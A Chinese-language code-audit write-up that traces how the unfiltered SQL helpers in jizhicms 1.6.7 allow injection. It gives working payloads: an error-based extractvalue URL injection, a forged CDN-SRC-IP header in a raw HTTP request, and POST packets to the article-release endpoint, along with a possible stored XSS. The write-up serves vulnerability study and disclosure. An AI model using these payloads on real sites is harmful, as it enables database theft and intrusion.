一、前言
最近在学习php代码审计,在cnvd发现极致cms中sql注入问题挺多的,本文针对极致cms1.6.7进行多处sql注入审计。可能存在部分理解偏差的地方,还请师傅们指正。
cms下载链接:
https://www.jizhicms.cn/thread-95-1-1.html
二、目录结构
├── 404.html
├── A后台控制文件
├── Conf公共函数
├── FrPHP框架
├── Home前台控制文件
├── Public公共静态文件
├── README.md
├── admin.php后台入口
├── backup备份
├── cache缓存
├── favicon.ico
├── index.php前台入口
├── install
├── readme.txt
├── static静态文件
└── web.config
三、函数
1.过滤函数frparam()
此cms大量调用了frparam()函数(FrPHPlibController.php),函数代码:
// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
return format_param($value,$int);
}
跟进函数format_param()
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}
可以看出,format_param()
函数将传递进来的$value
变量进行字符类型判断然后做相应的处理。总之:该函数将输入变量进行了过滤。
2.sql处理函数update()
文件路径:jizhicms_Beta1.6.7FrPHPlibModel.php
// 修改数据
public function update($conditions,$row){
$where = "";
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $condition ){
$condition = '''.$condition.''';
$join[] = "{$key} = {$condition}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
foreach($row as $key => $value){
if($value!==null){
$value = '''.$value.''';
$vals[] = "{$key} = {$value}";
}else{
$vals[] = "{$key} = null";
}
}
$values = join(", ",$vals);
$table = self::$table;
$sql = "UPDATE {$table} SET {$values} {$where}";
return $this->runSql($sql);
}
函数首先进行sql查询 ($sql = "SELECT {$fields} FROM {$table} {$where}"
),然后进行return $this->db->getArray($sql);
的操作,跟进 getArray()
函数:
//执行SQL语句返回数组
public function getArray($sql){
if(!$result = $this->query($sql))return array();
if(!$this->Statement->rowCount())return array();
$rows = array();
while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
$this->Statement=null;
array_pop($rows);
return $rows;
}
继续跟进到query()
函数,第8行:
$msg=$this->pdo->errorInfo();
也就是说这里会在错误的情况下会输出报错页面。
//执行SQL语句并检查是否错误
public function query($sql){
$this->filter[] = $sql;
$this->Statement = $this->pdo->query($sql);
if ($this->Statement) {
return $this;
}else{
$msg = $this->pdo->errorInfo();
if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
}
}
4.sql处理函数 find()
find()
函数与findAll()
的区别就是find函数只查询一条数据。
// 查询一条
public function find($where=null,$order=null,$fields=null,$limit=1){
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
5.sql处理函数add()
add()
函数会进行数据新增,总体来讲都会调用到runsql()
函数,具体代码如下:
// 新增数据
public function add($row){
if(!is_array($row))return FALSE;
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
foreach($row as $key => $value){
if($value!==null){
$cols[] = $key;
$vals[] = '''.$value.''';
}
}
$col = join(',', $cols);
$val = join(',', $vals);
$table = self::$table;
$sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
if( FALSE != $this->runSql($sql) ){
if( $newinserid = $this->db->lastInsertId() ){
return $newinserid;
}else{
$a=$this->find($row, "{$this->primary} DESC",$this->primary);
return array_pop($a);
}
}
return FALSE;
}
四、审计思路
可以发现这个cms的主要过滤函数是frparam()
,进行sql处理的函数并没有对相应的参数进行过滤,并且都会通过以下处理流程进行报错输出:
$msg = $this->pdo->errorInfo();
如果在进行sql处理的时候没有将传递的参数通过frparam()
函数进行过滤,会造成sql注入。即此cms存在sql注入的必要条件:
-
有调用
update()、add()、find()
等函数 -
存在可控参数
-
不存在过滤函数
本次审计只要针对cms前台页面,不涉及网站后台,所以可以把目录缩小到/home/c
目录下。然后结合xdebug进行调试。
五、sql注入
1、第一处注入:
http://127.0.0.1/index.php?id=1'and%20extractvalue(1,%20concat(0x5c,%20(select%20database()),0x5c))%20and%20%20'1'='1
这个漏洞点在HomecHomeController.php文件下的jizhi()函数。代码太长这里就不贴了,简易分析jizhi()
函数。首先可以跟进注释来理解,就先接受前台的请求,做了一个简易的处理,在这没有对相关参数进行过滤。
然后会进行多个if判断,传递参数的顺寻大致所以如下图。
最后执行到89行:
$res = M('classtype')->find(array('htmlurl'=>$html));
接下来的流程:find()->findAll()->getArray()->query()
最后在HomecErrorController.php下进行输出:
2.第二处注入&存储XSS
第二个漏洞是cms的留言功能,在HomecMessageController.php
下的index()
函数,代码:
/**太长不贴**/
前部分代码主要是对传送过来的数据进行值的接收然后过滤,在整个文件的第41行:
$w['ip'] = GetIP();
跟进GetIP()
函数(FrPHPcommon Functions.php)
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#d{1,3}.d{1,3}.d{1,3}.d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172.16|192.168).#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
GetIP()
是一个获取用户真实IP地址操作,在接入cdn的情况下获取真实源ip的。第5行 :
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
$ip没有进行任何过滤,可以确认IP这个参数是可控的。回到整个index()
函数继续向下走:
第97行$res = M('message')->add($w);
进行了一个sql的操作。由于在前面知道前面GetIP()
函数处获取IP的地方过滤不完善,可以自己在请求头部构造一个CDN-SRC-IP
即可造成sql注入。利用方法如下:
POST /message/index.html HTTP/1.1
Host: 192.168.0.107
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.107
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.107/msg.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=260dtl37k2itrt42glvgbfshp1
CDN-SRC-IP:2'and extractvalue(1,concat(0x5c,(select database()),0x5c)) and '1'='1
Connection: close
tid=4&user=1&title=1
既然这里参数没有过滤完善,后台如果看得到ip地址,那么这里应该也是可以造成XSS的。
3.第三处注入
这个注入点在jizhicms_Beta1.6.7HomecUserController.php下的release()函数下:
/*函数代码太长不贴*/
函数分析:
// 1.对post提交的表单数据进行取值
$data = $this->frparam();
// 2.然后对tid值进行了过滤
$w['tid'] = $this->frparam('tid');
在最后有发现此过滤无效:
继续跟进发现在整个文件的第957行的这一段代码:
$w = get_fields_data($data,$w['molds']);
经过这个函数后,参数没有进行过滤,具体可以进行跟ConfFunctions.php:
/*太长不贴 */
整个函数主要问题是最后面的一个判断问题
if(array_key_exists($v['field'],$data)){
}
在debug的时候发现是没有用到值$v['field']
,会直接执行$data[$v['field']] = '';
造成tid参数过滤无效。
返回release()函数,在965行进行一个sql的操作:
$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
可以看到$sql
变量是由tid和molds这两个参数组成的。这两个参数是都没有过滤的,所以这里存在注入。
然后将参数重新设置后,后面就主要是对内容标题等参数的过滤和判空等等,继续跟到后面整个文件的第1035行这里进行了一个if…else
的操作。
无论如何这里都会触发sql注入,本身对id这个参数是不存在过滤。
在发布文章的时候,触发以下内容将会造成sql注入:
$a = M($w['molds'])->add($w);
修改文章:
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
由于这里$w
变量是直接接收前面的值,不存在过滤,所以同样也会造成sql注入。利用post数据包:
POST /user/release.html HTTP/1.1
Host: 192.168.0.111
Content-Length: 136
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111/user/release.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3
Connection: close
id=&isshow=&molds=article&tid=2&title=1&keywords=1&litpic=&file_litpic=&description=1&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%3C%2Fp%3E
Post数据包2:
POST /user/release/id/57/molds/article.html HTTP/1.1
Host: 192.168.0.111
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111/user/release/id/57/molds/article.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3
Connection: close
id=57&isshow=0&tid=2&title=1%27&keywords=1%27'&litpic=&file_litpic=&description=1%27&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%26%2339%3B%3C%2Fp%3E
六、 总结
1.这个cms学习审计还是挺有意思的,代码本身不算特别复杂,由于进行sql处理的函数是没有对参数进行过滤的,也就导致审计注入的时候主要是注意有没有被frparam()
函数进行过滤。
2.留言获取ip的功能也挺有趣的,由于对ip过滤不完善,导致产生sql和xss漏洞:
$ip = $_SERVER['HTTP_CDN_SRC_IP'];,
3.最后就是release()
函数下假装过滤参数实际又没能生效:
$w = get_fields_data($data,$w['molds']);
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论